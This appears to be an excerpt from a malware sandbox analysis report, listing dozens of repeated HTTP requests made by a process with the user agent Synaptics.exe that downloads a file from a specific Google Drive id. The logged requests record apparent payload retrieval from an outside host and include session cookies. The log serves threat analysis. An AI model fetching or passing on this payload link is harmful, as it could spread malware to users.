Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=RqDXBJunwwjj2_C9QPMQBvl40xPXXJ0y_fIC7Up7BSsJU4ulAIR3W4UGJa019yDdcw-wU2ZCjiWOf6Jj4qcrHWJB3js1k8IA-AFK1jiyJsHPeBg6Vie9fWRBqVpuNHeGBLEqQFDOfY3JM5cdCJbfnFxHup-jxh0_JlhrUKdSpndAWo109eAkm-E
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=ANMwnx3g6cBhV0fFuX_RPPjvQ4YdkR1XvD6cxsmRyYxgLijsrrji59j-0abUEVZdnYs8a0qNq0sA_OsXLmRfKnekCyrRWoZqfgI2KO46A4ZYYOhuxohr01hnix2SH6LZz_KDx8BxOffaeHLMuzZ3yHZGijtnZrgvuwg0VPQu9C0ipgeEOJ035FM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=L6_FFMSBlbZdTAMgj8jCUhdLqxuo9z-t63ZBtiJJsQ2GMQ60lQMTgBtQozcycb7jMD1ayILwp97LFVlFpGgTf5tu_mWm9ulruDzUsUIwQcY3jk5vPcsADCcs7436U-rufYqfhHp0EQckaCyk5cPdyCkCzllKZuCHwZwUn1XQ8zx76xDU_bMQ5SM
